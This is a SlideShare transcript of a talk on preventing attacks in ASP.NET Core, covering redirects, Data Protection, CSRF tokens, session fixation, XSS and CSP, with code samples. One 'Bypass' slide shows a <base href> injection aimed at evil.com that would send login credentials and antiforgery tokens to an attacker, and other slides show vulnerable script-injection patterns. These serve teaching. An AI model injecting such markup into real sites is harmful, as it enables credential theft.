SlideShare a Scribd company logo
ptsecurity.com
Preventing attacks in
ASP.NET Core
Mikhail Shcherbakov
Independent Developer and
Consultant
Who am I
 Independent Developer and Consultant
 Co-organizer of .NET meetups http://dotnet.ru
 Public Speaker at DotNext, DotNetConf, ITGM, .NET meetups
 Former Product Manager at Cezurity, R&D Developer at Positive
Technologies and Team Lead at Acronis, Luxoft, Boeing
#2
What you can expect
 We’re going to talk about preventing Open Redirect, CSRF, XSS
attacks, using and architecture of cookies, Data Protection,
Session Management, CSP.
 We’re not going to discuss authentication and authorization.
#3
Microsoft .NET Core and ASP.NET Core
Bug Bounty Program
https://aka.ms/corebounty
#4
Prevention Open Redirect Attacks
Why do we talk about it?
https://github.com/OWASP/Top10/tree/master/2017/datacall
#7
WTF?
https://github.com/OWASP/Top10/raw/master/2017/OWASP%20To
p%2010%20-%202017%20RC1-English.pdf
#8
How to use the prevention mechanism
public async Task<IActionResult> Login(LoginViewModel model, string returnUrl)
{
// ...
return LocalRedirect(returnUrl);
}
private IActionResult RedirectToLocal(string returnUrl)
{
if (Url.IsLocalUrl(returnUrl))
return Redirect(returnUrl);
else
return RedirectToAction(nameof(HomeController.Index), "Home");
}
#10
https://technet.microsoft.com/library/security/4021279
#9
Data Protection
Overview
 No machine keys
 High level cryptography out-of-the-box
 Key stores out-of-the-box
 Supports key rotation automatically
 Provides isolation based on purposes automatically
#12
Protect / Unprotect
public class HomeController : Controller
{
private readonly IDataProtector protector;
public HomeController(IDataProtectionProvider provider)
{
protector = provider.CreateProtector("isolation-purpose");
}
public IActionResult Index(string input)
{
var protectedPayload = protector.Protect(input);
var unprotectedPayload = protector.Unprotect(protectedPayload);
return View();
}
}
#13
Protect / Unprotect
public IActionResult Index(string input)
{
var timeLimitedProtector = protector.ToTimeLimitedDataProtector();
var protectedData = timeLimitedProtector.Protect(input,
lifetime: TimeSpan.FromMinutes(30));
return View();
}
#14
Password Hashing
public void StorePassword(SecureString password)
{
var salt = new byte[128 / 8];
using (var rng = RandomNumberGenerator.Create())
{
rng.GetBytes(salt);
}
var hash = Convert.ToBase64String(KeyDerivation.Pbkdf2(
password: password,
salt: salt,
prf: KeyDerivationPrf.HMACSHA512,
iterationCount: 10000,
numBytesRequested: 256 / 8));
// store salt and hash to DB...
}
#15
Configuration
public void ConfigureServices(IServiceCollection services)
{
services.AddDataProtection()
.SetApplicationName("isolation-name")
.SetDefaultKeyLifetime(TimeSpan.FromDays(14))
.PersistKeysToFileSystem(new DirectoryInfo(@"servershare"))
.ProtectKeysWithDpapi()
.UseCryptographicAlgorithms(new AuthenticatedEncryptionSettings
{
EncryptionAlgorithm = EncryptionAlgorithm.AES_256_CBC,
ValidationAlgorithm = ValidationAlgorithm.HMACSHA256
});
}
Configuration
 HKLMSOFTWAREMicrosoftDotNetPackages
Microsoft.AspNetCore.DataProtection
 EncryptionType
 DefaultKeyLifetime
 KeyEscrowSinks
Under the hood
 The default payload protection algorithm used is AES-256-CBC
for confidentiality and HMACSHA256 for authenticity. A 512-bit
master key, rolled every 90 days
 Protected payload format
 32-bit magic header
 128-bit key id
 the part of specific to the encryptor
#16
Under the hood
https://www.youtube.com/watch?v=X1V6_OyQKLw
#17
Anti-Request Forgery
Why do we talk about it?
 Official documentation was published on 27 March
and it has inaccuracies
https://docs.microsoft.com/ru-ru/aspnet/core/security/anti-
request-forgery
 This is an excellent example how to work with cookies!
#19
Cross-Site Request Forgery (CSRF)
#20
Synchronizer Token Pattern
#21
Synchronizer Token Pattern
Double-Submit Cookie Pattern
#22
AutoValidateAntiforgeryToken
public class Startup
{
public void ConfigureServices(IServiceCollection services)
{
services.AddMvc(options =>
options.Filters.Add(new AutoValidateAntiforgeryTokenAttribute()));
}
}
#23
ValidateAntiForgeryToken
IgnoreAntiforgeryToken
[ValidateAntiForgeryToken]
public class CustomController : Controller
{
[HttpPost]
[IgnoreAntiforgeryToken]
public IActionResult DoSomething(SomeViewModel model)
{
// no antiforgery token required
}
}
#24
Generate AntiForgery tokens automatically
<form asp-controller="Account" asp-action="Login" asp-route-returnurl="@ViewData["ReturnUrl"]"
method="post" class="form-horizontal">
<h4>Use a local account to log in.</h4>
<div asp-validation-summary="All" class="text-danger"></div>
<div class="form-group">...</div>
</form>
<form method="post" class="form-horizontal" action="/Account/Login" novalidate="novalidate">
<h4>Use a local account to log in.</h4>
<div class="text-danger validation-summary-valid" data-valmsg-summary="true">
<ul><li style="display: none"></li></ul>
</div>
<div class="form-group">...</div>
<input name="__RequestVerificationToken" type="hidden"
value="CfDJ8MNYtGIQJ0NKvmDVDgK_YQ2alNtW7VHnQAVGEoKzZhHQgrj0A0o8L8s9049_Z1ELltvpTkCt978aCpj1
</form>
#25
Add AntiForgery token explicitly
<form action="/" method="post">
@Html.AntiForgeryToken()
</form>
<input name="__RequestVerificationToken" type="hidden"
value="CfDJ8NrAkSldwD9CpLRyOtm6FiJB1Jr_F3FQJQDvhlHoLNJJrLA6zaMUmhjMsisu2D2tFkAiYgyWQawJk9vNm36s
#26
AJAX, WebAPI, SPAs…
 Do you use authentication cookies?
 No cookies, no problems… except for stealing a token by XSS 
For example, you may use JSON Web Token (JWT)
 Yes, I do… Go next page
#27
AJAX, WebAPI, SPAs…
@inject Microsoft.AspNetCore.Antiforgery.IAntiforgery Xsrf
@functions{
public string GetAntiXsrfRequestToken()
{
return Xsrf.GetAndStoreTokens(Context).RequestToken;
}
}
<input type="button" id="antiforgery" value="Antiforgery" />
<script>
$("#antiforgery").click(function () {
$.ajax({
type: "post",
dataType: "html",
headers:
{
"RequestVerificationToken": '@GetAntiXsrfRequestToken()'
},
url: '@Url.Action("Antiforgery", "Home")',
});
});
#28
AngularJS
HttpContext.Response.Cookies.Append("XSRF-TOKEN",
antiforgery.GetAndStoreTokens(HttpContext).RequestToken,
new Microsoft.AspNetCore.Http.CookieOptions { HttpOnly = false });
services.AddAntiforgery(options => options.HeaderName = "X-XSRF-TOKEN");
#29
Under the Hood
<form method="post" action="/Home/MyAction">
<div>...</div>
<input name="__RequestVerificationToken" type="hidden"
value="CfDJ8MNYtGIQJ0NKvmDVDgK_YQ2alNtW7VHnQAVGEoKzZhHQgrj0A0o8L8s9049
</form>
https://github.com/aspnet/Antiforgery
#30
New Token
private static readonly RandomNumberGenerator randomNumberGenerator =
RandomNumberGenerator.Create();
private static byte[] GenerateNewToken(int bitLength)
{
var data = new byte[bitLength / 8];
randomNumberGenerator.GetBytes(data);
return data;
}
#31
Cookie Attributes: Domain and Path
public class ResponseCookies : IResponseCookies
{
public void Append(string key, string value, CookieOptions options)
{
var cookieHeaderValue = new SetCookieHeaderValue(
Uri.EscapeDataString(key), Uri.EscapeDataString(value));
cookieHeaderValue.Domain = options.Domain;
cookieHeaderValue.Path = options.Path;
#32
Cookie Attributes: HttpOnly
#33
Using HttpOnly is enough?
cryptoSystem = provider.CreateProtector(
"Microsoft.AspNetCore.Antiforgery.AntiforgeryToken.v1");
// ...
var bytes = cryptoSystem.Protect(stream.ToArray());
#34
Why isn't it enough again?
/* The serialized format of the anti-XSRF token is as follows:
* Version: 1 byte integer
* SecurityToken: 16 byte binary blob
* IsCookieToken: 1 byte Boolean
* [if IsCookieToken != true]
* +- IsClaimsBased: 1 byte Boolean
* | [if IsClaimsBased = true]
* | `- ClaimUid: 32 byte binary blob
* | [if IsClaimsBased = false]
* | `- Username: UTF-8 string with 7-bit integer length prefix
* `- AdditionalData: UTF-8 string with 7-bit integer length prefix
*/
#35
Encrypted DTO Pattern
#36
Session Management
Overview
private string GetMessageFromCacheOrDb()
{
// check session cache
byte[] value;
if (HttpContext.Session.TryGetValue("msg", out value))
{
return System.Text.Encoding.UTF8.GetString(value);
}
var valueMessage = GetMessageFromDb(HttpContext.User.Identity.Name);
HttpContext.Session.SetString("msg", valueMessage);
return valueMessage;
}
#38
Overview
#38
Why do we talk about it?
 The current implementation has a weakness that can be the
cause of Session Fixation attack.
 The Session Fixation took 2th prize in OWASP Top 10.
#40
Demo code
private string GetMessageFromCacheOrDb()
{
// check session cache
byte[] value;
if (HttpContext.Session.TryGetValue("msg", out value))
{
return System.Text.Encoding.UTF8.GetString(value);
}
var valueMessage = GetMessageFromDb(HttpContext.User.Identity.Name);
HttpContext.Session.SetString("msg", valueMessage);
return valueMessage;
}
#41
Session Fixation in ASP .NET Core
 Don’t store security sensitive data in a session!..
 Or die fix it in your project.
#43
Prevention XSS Attacks
Why do we talk about it?
 The XSS is the most popular attack to web applications
 https://github.com/OWASP/Top10/tree/master/2017/datacall
 https://twitter.com/kochetkov_v/status/857575220160462850
 This is a good entry point for other attacks with more impact
 Only some people know and correctly use built-in XSS
prevention mechanisms
#45
Same-origin policy (SOP)
 URI scheme (http)
 Hostname (my-domain.com)
 Port number (80)
#46
Potential XSS
<script src="@ViewData["UntrustedInput"]">
</script>
#47
Potential XSS
<script>
@ViewData["UntrustedInput"];
</script>
#48
Encoding points
 HTML
 JavaScript
 URL
 XML
 SVG
#49
Encoding points
 HtmlEncoder (@<member> in .cshtml)
 JavaScriptEncoder
 UrlEncoder
 Any sanitizer https://github.com/mganss/HtmlSanitizer
#50
Content Security Policy (CSP)
app.UseMvc();
app.Use(async (context, next) =>
{
context.Response.Headers.Add("Content-Security-Policy",
"default-src 'self'; report-uri /cspreport");
await next();
});
#51
CSP Report Request
public class CspReportRequest
{
[JsonProperty(PropertyName = "csp-report")] public CspReport CspReport { get; set; }
}
public class CspReport
{
[JsonProperty(PropertyName = "document-uri")] public string DocumentUri { get; set; }
[JsonProperty(PropertyName = "referrer")] public string Referrer { get; set; }
[JsonProperty(PropertyName = "violated-directive")] public string ViolatedDirective { get; set; }
[JsonProperty(PropertyName = "effective-directive")] public string EffectiveDirective {get; set;}
[JsonProperty(PropertyName = "original-policy")] public string OriginalPolicy { get; set; }
[JsonProperty(PropertyName = "blocked-uri")] public string BlockedUri { get; set; }
[JsonProperty(PropertyName = "status-code")] public int StatusCode { get; set; }
}
#52
CSP Report Endpoint
[HttpPost("~/cspreport")]
public IActionResult CspReport([FromBody] CspReportRequest request)
{
// log and analyze the report...
return Ok();
}
#53
Bypass
<base href='http://evil.com/'>
<form method="post" class="form-horizontal" action="/Account/Login">
<h4>Use a local account to log in.</h4>
<input type="email" id="Email" name="Email" value="" />
<input type="password" id="Password" name="Password" />
<button type="submit">Log in</button>
<input name="__RequestVerificationToken" type="hidden" value="CfDJ8MNYtGIQJ0N
</form>
#54
x-xss-protection
app.UseMvc();
app.Use(async (context, next) =>
{
context.Response.Headers.Add("x-xss-protection", "1");
await next();
});
#55
Summary
 Michal Zalewski “Tangled Web. A Guide to Securing Modern
Web Applications”
 Stan Drapkin “Security Driven .NET”
 OWASP Testing Guide v4
#56
Questions?!
Mikhail Shcherbakov
@yu5k3
https://www.linkedin.com/in/mikhailshcherbakov
Independent Developer and Consultant
The presentation contains footage from Olive Kitteridge
ptsecurity.com
Спасибо!
Thank you!

More Related Content

What's hot

ZeroNights - SmartTV
ZeroNights - SmartTV ZeroNights - SmartTV
ZeroNights - SmartTV
Sergey Belov
 
Waf.js: How to Protect Web Applications using JavaScript
Waf.js: How to Protect Web Applications using JavaScriptWaf.js: How to Protect Web Applications using JavaScript
Waf.js: How to Protect Web Applications using JavaScript
Denis Kolegov
 
Understand study
Understand studyUnderstand study
Understand study
Antonio Costa aka Cooler_
 
Find maximum bugs in limited time
Find maximum bugs in limited timeFind maximum bugs in limited time
Find maximum bugs in limited time
beched
 
Triển khai Modsecurity vào hệ thống NMS - Quan Minh Tâm
Triển khai Modsecurity vào hệ thống NMS - Quan Minh TâmTriển khai Modsecurity vào hệ thống NMS - Quan Minh Tâm
Triển khai Modsecurity vào hệ thống NMS - Quan Minh Tâm
Security Bootcamp
 
Php web app security (eng)
Php web app security (eng)Php web app security (eng)
Php web app security (eng)
Anatoliy Okhotnikov
 
Современные технологии и инструменты анализа вредоносного ПО_PHDays_2017_Pisk...
Современные технологии и инструменты анализа вредоносного ПО_PHDays_2017_Pisk...Современные технологии и инструменты анализа вредоносного ПО_PHDays_2017_Pisk...
Современные технологии и инструменты анализа вредоносного ПО_PHDays_2017_Pisk...
Ivan Piskunov
 
Owasp web application security trends
Owasp web application security trendsOwasp web application security trends
Owasp web application security trends
beched
 
0d1n
0d1n0d1n
Внедрение SDLC в боевых условиях / Егор Карбутов (Digital Security)
Внедрение SDLC в боевых условиях / Егор Карбутов (Digital Security)Внедрение SDLC в боевых условиях / Егор Карбутов (Digital Security)
Внедрение SDLC в боевых условиях / Егор Карбутов (Digital Security)
Ontico
 
Ln monitoring repositories
Ln monitoring repositoriesLn monitoring repositories
Ln monitoring repositories
snyff
 
Intrigue Core: Scaling Assessment Automation
Intrigue Core: Scaling Assessment AutomationIntrigue Core: Scaling Assessment Automation
Intrigue Core: Scaling Assessment Automation
Jonathan Cran
 
RIPS - static code analyzer for vulnerabilities in PHP
RIPS - static code analyzer for vulnerabilities in PHPRIPS - static code analyzer for vulnerabilities in PHP
RIPS - static code analyzer for vulnerabilities in PHP
Sorina Chirilă
 
На страже ваших денег и данных
На страже ваших денег и данныхНа страже ваших денег и данных
На страже ваших денег и данных
Positive Hack Days
 
Egress-Assess and Owning Data Exfiltration
Egress-Assess and Owning Data ExfiltrationEgress-Assess and Owning Data Exfiltration
Egress-Assess and Owning Data Exfiltration
CTruncer
 
The day I ruled the world (RootedCON 2020)
The day I ruled the world (RootedCON 2020)The day I ruled the world (RootedCON 2020)
The day I ruled the world (RootedCON 2020)
Javier Junquera
 
Lie to Me: Bypassing Modern Web Application Firewalls
Lie to Me: Bypassing Modern Web Application FirewallsLie to Me: Bypassing Modern Web Application Firewalls
Lie to Me: Bypassing Modern Web Application Firewalls
Ivan Novikov
 
[2014 CodeEngn Conference 10] 정광운 - 안드로이드에서도 한번 후킹을 해볼까 (Hooking on Android)
[2014 CodeEngn Conference 10] 정광운 -  안드로이드에서도 한번 후킹을 해볼까 (Hooking on Android)[2014 CodeEngn Conference 10] 정광운 -  안드로이드에서도 한번 후킹을 해볼까 (Hooking on Android)
[2014 CodeEngn Conference 10] 정광운 - 안드로이드에서도 한번 후킹을 해볼까 (Hooking on Android)
GangSeok Lee
 
The Art of Exploiting Unconventional Use-after-free Bugs in Android Kernel by...
The Art of Exploiting Unconventional Use-after-free Bugs in Android Kernel by...The Art of Exploiting Unconventional Use-after-free Bugs in Android Kernel by...
The Art of Exploiting Unconventional Use-after-free Bugs in Android Kernel by...
CODE BLUE
 
Veil-Ordnance
Veil-OrdnanceVeil-Ordnance
Veil-Ordnance
VeilFramework
 

What's hot (20)

ZeroNights - SmartTV
ZeroNights - SmartTV ZeroNights - SmartTV
ZeroNights - SmartTV
 
Waf.js: How to Protect Web Applications using JavaScript
Waf.js: How to Protect Web Applications using JavaScriptWaf.js: How to Protect Web Applications using JavaScript
Waf.js: How to Protect Web Applications using JavaScript
 
Understand study
Understand studyUnderstand study
Understand study
 
Find maximum bugs in limited time
Find maximum bugs in limited timeFind maximum bugs in limited time
Find maximum bugs in limited time
 
Triển khai Modsecurity vào hệ thống NMS - Quan Minh Tâm
Triển khai Modsecurity vào hệ thống NMS - Quan Minh TâmTriển khai Modsecurity vào hệ thống NMS - Quan Minh Tâm
Triển khai Modsecurity vào hệ thống NMS - Quan Minh Tâm
 
Php web app security (eng)
Php web app security (eng)Php web app security (eng)
Php web app security (eng)
 
Современные технологии и инструменты анализа вредоносного ПО_PHDays_2017_Pisk...
Современные технологии и инструменты анализа вредоносного ПО_PHDays_2017_Pisk...Современные технологии и инструменты анализа вредоносного ПО_PHDays_2017_Pisk...
Современные технологии и инструменты анализа вредоносного ПО_PHDays_2017_Pisk...
 
Owasp web application security trends
Owasp web application security trendsOwasp web application security trends
Owasp web application security trends
 
0d1n
0d1n0d1n
0d1n
 
Внедрение SDLC в боевых условиях / Егор Карбутов (Digital Security)
Внедрение SDLC в боевых условиях / Егор Карбутов (Digital Security)Внедрение SDLC в боевых условиях / Егор Карбутов (Digital Security)
Внедрение SDLC в боевых условиях / Егор Карбутов (Digital Security)
 
Ln monitoring repositories
Ln monitoring repositoriesLn monitoring repositories
Ln monitoring repositories
 
Intrigue Core: Scaling Assessment Automation
Intrigue Core: Scaling Assessment AutomationIntrigue Core: Scaling Assessment Automation
Intrigue Core: Scaling Assessment Automation
 
RIPS - static code analyzer for vulnerabilities in PHP
RIPS - static code analyzer for vulnerabilities in PHPRIPS - static code analyzer for vulnerabilities in PHP
RIPS - static code analyzer for vulnerabilities in PHP
 
На страже ваших денег и данных
На страже ваших денег и данныхНа страже ваших денег и данных
На страже ваших денег и данных
 
Egress-Assess and Owning Data Exfiltration
Egress-Assess and Owning Data ExfiltrationEgress-Assess and Owning Data Exfiltration
Egress-Assess and Owning Data Exfiltration
 
The day I ruled the world (RootedCON 2020)
The day I ruled the world (RootedCON 2020)The day I ruled the world (RootedCON 2020)
The day I ruled the world (RootedCON 2020)
 
Lie to Me: Bypassing Modern Web Application Firewalls
Lie to Me: Bypassing Modern Web Application FirewallsLie to Me: Bypassing Modern Web Application Firewalls
Lie to Me: Bypassing Modern Web Application Firewalls
 
[2014 CodeEngn Conference 10] 정광운 - 안드로이드에서도 한번 후킹을 해볼까 (Hooking on Android)
[2014 CodeEngn Conference 10] 정광운 -  안드로이드에서도 한번 후킹을 해볼까 (Hooking on Android)[2014 CodeEngn Conference 10] 정광운 -  안드로이드에서도 한번 후킹을 해볼까 (Hooking on Android)
[2014 CodeEngn Conference 10] 정광운 - 안드로이드에서도 한번 후킹을 해볼까 (Hooking on Android)
 
The Art of Exploiting Unconventional Use-after-free Bugs in Android Kernel by...
The Art of Exploiting Unconventional Use-after-free Bugs in Android Kernel by...The Art of Exploiting Unconventional Use-after-free Bugs in Android Kernel by...
The Art of Exploiting Unconventional Use-after-free Bugs in Android Kernel by...
 
Veil-Ordnance
Veil-OrdnanceVeil-Ordnance
Veil-Ordnance
 

Similar to Механизмы предотвращения атак в ASP.NET Core

.NET Fest 2017. Михаил Щербаков. Механизмы предотвращения атак в ASP.NET Core
.NET Fest 2017. Михаил Щербаков. Механизмы предотвращения атак в ASP.NET Core.NET Fest 2017. Михаил Щербаков. Механизмы предотвращения атак в ASP.NET Core
.NET Fest 2017. Михаил Щербаков. Механизмы предотвращения атак в ASP.NET Core
NETFest
 
02 banking trojans-thomassiebert
02 banking trojans-thomassiebert02 banking trojans-thomassiebert
02 banking trojans-thomassiebert
geeksec80
 
Hack any website
Hack any websiteHack any website
Hack any website
sunil kumar
 
Technical Report Vawtrak v2
Technical Report Vawtrak v2Technical Report Vawtrak v2
Technical Report Vawtrak v2
Blueliv
 
Securing TodoMVC Using the Web Cryptography API
Securing TodoMVC Using the Web Cryptography APISecuring TodoMVC Using the Web Cryptography API
Securing TodoMVC Using the Web Cryptography API
Kevin Hakanson
 
Real_World_0days.pdf
Real_World_0days.pdfReal_World_0days.pdf
Real_World_0days.pdf
distortdistort
 
Common Browser Hijacking Methods
Common Browser Hijacking MethodsCommon Browser Hijacking Methods
Common Browser Hijacking Methods
David Barroso
 
DEF CON 27 - ALVARO MUNOZ / OLEKSANDR MIROSH - sso wars the token menace
DEF CON 27 - ALVARO MUNOZ / OLEKSANDR MIROSH - sso wars the token menaceDEF CON 27 - ALVARO MUNOZ / OLEKSANDR MIROSH - sso wars the token menace
DEF CON 27 - ALVARO MUNOZ / OLEKSANDR MIROSH - sso wars the token menace
Felipe Prado
 
Writing Secure Code – Threat Defense
Writing Secure Code – Threat DefenseWriting Secure Code – Threat Defense
Writing Secure Code – Threat Defense
amiable_indian
 
FIWARE Wednesday Webinars - How to Secure IoT Devices
FIWARE Wednesday Webinars - How to Secure IoT DevicesFIWARE Wednesday Webinars - How to Secure IoT Devices
FIWARE Wednesday Webinars - How to Secure IoT Devices
FIWARE
 
Application and Website Security -- Fundamental Edition
Application and Website Security -- Fundamental EditionApplication and Website Security -- Fundamental Edition
Application and Website Security -- Fundamental Edition
Daniel Owens
 
Blockchain Land Audit Report.pdf
Blockchain Land Audit Report.pdfBlockchain Land Audit Report.pdf
Blockchain Land Audit Report.pdf
BlockchainLand
 
Embedded Security and the IoT
Embedded Security and the IoTEmbedded Security and the IoT
Embedded Security and the IoT
team-WIBU
 
Big security for big data
Big security for big dataBig security for big data
Big security for big data
Ari Elias-Bachrach
 
A little bit about code injection in WebApplication Frameworks (CVE-2018-1466...
A little bit about code injection in WebApplication Frameworks (CVE-2018-1466...A little bit about code injection in WebApplication Frameworks (CVE-2018-1466...
A little bit about code injection in WebApplication Frameworks (CVE-2018-1466...
ufpb
 
Meetup DotNetCode Owasp
Meetup DotNetCode Owasp Meetup DotNetCode Owasp
Meetup DotNetCode Owasp
dotnetcode
 
They Ought to Know Better: Exploiting Security Gateways via Their Web Interfaces
They Ought to Know Better: Exploiting Security Gateways via Their Web InterfacesThey Ought to Know Better: Exploiting Security Gateways via Their Web Interfaces
They Ought to Know Better: Exploiting Security Gateways via Their Web Interfaces
michelemanzotti
 
Secure Software: Action, Comedy or Drama? (2017 edition)
Secure Software: Action, Comedy or Drama? (2017 edition)Secure Software: Action, Comedy or Drama? (2017 edition)
Secure Software: Action, Comedy or Drama? (2017 edition)
Peter Sabev
 
JS Fest 2019. Виктор Турский. 6 способов взломать твое JavaScript приложение
JS Fest 2019. Виктор Турский. 6 способов взломать твое JavaScript приложениеJS Fest 2019. Виктор Турский. 6 способов взломать твое JavaScript приложение
JS Fest 2019. Виктор Турский. 6 способов взломать твое JavaScript приложение
JSFestUA
 
Gartner Security & Risk Management Summit 2018
Gartner Security & Risk Management Summit 2018Gartner Security & Risk Management Summit 2018
Gartner Security & Risk Management Summit 2018
Paula Januszkiewicz
 

Similar to Механизмы предотвращения атак в ASP.NET Core (20)

.NET Fest 2017. Михаил Щербаков. Механизмы предотвращения атак в ASP.NET Core
.NET Fest 2017. Михаил Щербаков. Механизмы предотвращения атак в ASP.NET Core.NET Fest 2017. Михаил Щербаков. Механизмы предотвращения атак в ASP.NET Core
.NET Fest 2017. Михаил Щербаков. Механизмы предотвращения атак в ASP.NET Core
 
02 banking trojans-thomassiebert
02 banking trojans-thomassiebert02 banking trojans-thomassiebert
02 banking trojans-thomassiebert
 
Hack any website
Hack any websiteHack any website
Hack any website
 
Technical Report Vawtrak v2
Technical Report Vawtrak v2Technical Report Vawtrak v2
Technical Report Vawtrak v2
 
Securing TodoMVC Using the Web Cryptography API
Securing TodoMVC Using the Web Cryptography APISecuring TodoMVC Using the Web Cryptography API
Securing TodoMVC Using the Web Cryptography API
 
Real_World_0days.pdf
Real_World_0days.pdfReal_World_0days.pdf
Real_World_0days.pdf
 
Common Browser Hijacking Methods
Common Browser Hijacking MethodsCommon Browser Hijacking Methods
Common Browser Hijacking Methods
 
DEF CON 27 - ALVARO MUNOZ / OLEKSANDR MIROSH - sso wars the token menace
DEF CON 27 - ALVARO MUNOZ / OLEKSANDR MIROSH - sso wars the token menaceDEF CON 27 - ALVARO MUNOZ / OLEKSANDR MIROSH - sso wars the token menace
DEF CON 27 - ALVARO MUNOZ / OLEKSANDR MIROSH - sso wars the token menace
 
Writing Secure Code – Threat Defense
Writing Secure Code – Threat DefenseWriting Secure Code – Threat Defense
Writing Secure Code – Threat Defense
 
FIWARE Wednesday Webinars - How to Secure IoT Devices
FIWARE Wednesday Webinars - How to Secure IoT DevicesFIWARE Wednesday Webinars - How to Secure IoT Devices
FIWARE Wednesday Webinars - How to Secure IoT Devices
 
Application and Website Security -- Fundamental Edition
Application and Website Security -- Fundamental EditionApplication and Website Security -- Fundamental Edition
Application and Website Security -- Fundamental Edition
 
Blockchain Land Audit Report.pdf
Blockchain Land Audit Report.pdfBlockchain Land Audit Report.pdf
Blockchain Land Audit Report.pdf
 
Embedded Security and the IoT
Embedded Security and the IoTEmbedded Security and the IoT
Embedded Security and the IoT
 
Big security for big data
Big security for big dataBig security for big data
Big security for big data
 
A little bit about code injection in WebApplication Frameworks (CVE-2018-1466...
A little bit about code injection in WebApplication Frameworks (CVE-2018-1466...A little bit about code injection in WebApplication Frameworks (CVE-2018-1466...
A little bit about code injection in WebApplication Frameworks (CVE-2018-1466...
 
Meetup DotNetCode Owasp
Meetup DotNetCode Owasp Meetup DotNetCode Owasp
Meetup DotNetCode Owasp
 
They Ought to Know Better: Exploiting Security Gateways via Their Web Interfaces
They Ought to Know Better: Exploiting Security Gateways via Their Web InterfacesThey Ought to Know Better: Exploiting Security Gateways via Their Web Interfaces
They Ought to Know Better: Exploiting Security Gateways via Their Web Interfaces
 
Secure Software: Action, Comedy or Drama? (2017 edition)
Secure Software: Action, Comedy or Drama? (2017 edition)Secure Software: Action, Comedy or Drama? (2017 edition)
Secure Software: Action, Comedy or Drama? (2017 edition)
 
JS Fest 2019. Виктор Турский. 6 способов взломать твое JavaScript приложение
JS Fest 2019. Виктор Турский. 6 способов взломать твое JavaScript приложениеJS Fest 2019. Виктор Турский. 6 способов взломать твое JavaScript приложение
JS Fest 2019. Виктор Турский. 6 способов взломать твое JavaScript приложение
 
Gartner Security & Risk Management Summit 2018
Gartner Security & Risk Management Summit 2018Gartner Security & Risk Management Summit 2018
Gartner Security & Risk Management Summit 2018
 

More from Positive Development User Group

Автоматизация построения правил для Approof
Автоматизация построения правил для ApproofАвтоматизация построения правил для Approof
Автоматизация построения правил для Approof
Positive Development User Group
 
От экспериментального программирования к промышленному: путь длиной в 10 лет
От экспериментального программирования к промышленному: путь длиной в 10 летОт экспериментального программирования к промышленному: путь длиной в 10 лет
От экспериментального программирования к промышленному: путь длиной в 10 лет
Positive Development User Group
 
Требования по безопасности в архитектуре ПО
Требования по безопасности в архитектуре ПОТребования по безопасности в архитектуре ПО
Требования по безопасности в архитектуре ПО
Positive Development User Group
 
Уязвимое Android-приложение: N проверенных способов наступить на грабли
Уязвимое Android-приложение: N проверенных способов наступить на граблиУязвимое Android-приложение: N проверенных способов наступить на грабли
Уязвимое Android-приложение: N проверенных способов наступить на грабли
Positive Development User Group
 
Формальная верификация кода на языке Си
Формальная верификация кода на языке СиФормальная верификация кода на языке Си
Формальная верификация кода на языке Си
Positive Development User Group
 
PT BlackBox Scanner
PT BlackBox ScannerPT BlackBox Scanner
PT BlackBox Scanner
Positive Development User Group
 
Трущобы Application Security
Трущобы Application SecurityТрущобы Application Security
Трущобы Application Security
Positive Development User Group
 
Технологии анализа бинарного кода приложений: требования, проблемы, инструменты
Технологии анализа бинарного кода приложений: требования, проблемы, инструментыТехнологии анализа бинарного кода приложений: требования, проблемы, инструменты
Технологии анализа бинарного кода приложений: требования, проблемы, инструменты
Positive Development User Group
 
Кто сказал «WAF»?
Кто сказал «WAF»?Кто сказал «WAF»?
Кто сказал «WAF»?
Positive Development User Group
 
Безопасная разработка для руководителей
Безопасная разработка для руководителейБезопасная разработка для руководителей
Безопасная разработка для руководителей
Positive Development User Group
 
Построение процесса безопасной разработки
Построение процесса безопасной разработкиПостроение процесса безопасной разработки
Построение процесса безопасной разработки
Positive Development User Group
 
Подходы к сигнатурному статическому анализу
Подходы к сигнатурному статическому анализуПодходы к сигнатурному статическому анализу
Подходы к сигнатурному статическому анализу
Positive Development User Group
 

More from Positive Development User Group (12)

Автоматизация построения правил для Approof
Автоматизация построения правил для ApproofАвтоматизация построения правил для Approof
Автоматизация построения правил для Approof
 
От экспериментального программирования к промышленному: путь длиной в 10 лет
От экспериментального программирования к промышленному: путь длиной в 10 летОт экспериментального программирования к промышленному: путь длиной в 10 лет
От экспериментального программирования к промышленному: путь длиной в 10 лет
 
Требования по безопасности в архитектуре ПО
Требования по безопасности в архитектуре ПОТребования по безопасности в архитектуре ПО
Требования по безопасности в архитектуре ПО
 
Уязвимое Android-приложение: N проверенных способов наступить на грабли
Уязвимое Android-приложение: N проверенных способов наступить на граблиУязвимое Android-приложение: N проверенных способов наступить на грабли
Уязвимое Android-приложение: N проверенных способов наступить на грабли
 
Формальная верификация кода на языке Си
Формальная верификация кода на языке СиФормальная верификация кода на языке Си
Формальная верификация кода на языке Си
 
PT BlackBox Scanner
PT BlackBox ScannerPT BlackBox Scanner
PT BlackBox Scanner
 
Трущобы Application Security
Трущобы Application SecurityТрущобы Application Security
Трущобы Application Security
 
Технологии анализа бинарного кода приложений: требования, проблемы, инструменты
Технологии анализа бинарного кода приложений: требования, проблемы, инструментыТехнологии анализа бинарного кода приложений: требования, проблемы, инструменты
Технологии анализа бинарного кода приложений: требования, проблемы, инструменты
 
Кто сказал «WAF»?
Кто сказал «WAF»?Кто сказал «WAF»?
Кто сказал «WAF»?
 
Безопасная разработка для руководителей
Безопасная разработка для руководителейБезопасная разработка для руководителей
Безопасная разработка для руководителей
 
Построение процесса безопасной разработки
Построение процесса безопасной разработкиПостроение процесса безопасной разработки
Построение процесса безопасной разработки
 
Подходы к сигнатурному статическому анализу
Подходы к сигнатурному статическому анализуПодходы к сигнатурному статическому анализу
Подходы к сигнатурному статическому анализу
 

Recently uploaded

Essentials of Automations: The Art of Triggers and Actions in FME
Essentials of Automations: The Art of Triggers and Actions in FMEEssentials of Automations: The Art of Triggers and Actions in FME
Essentials of Automations: The Art of Triggers and Actions in FME
Safe Software
 
UiPath Test Automation using UiPath Test Suite series, part 5
UiPath Test Automation using UiPath Test Suite series, part 5UiPath Test Automation using UiPath Test Suite series, part 5
UiPath Test Automation using UiPath Test Suite series, part 5
DianaGray10
 
Securing your Kubernetes cluster_ a step-by-step guide to success !
Securing your Kubernetes cluster_ a step-by-step guide to success !Securing your Kubernetes cluster_ a step-by-step guide to success !
Securing your Kubernetes cluster_ a step-by-step guide to success !
KatiaHIMEUR1
 
Presentation of the OECD Artificial Intelligence Review of Germany
Presentation of the OECD Artificial Intelligence Review of GermanyPresentation of the OECD Artificial Intelligence Review of Germany
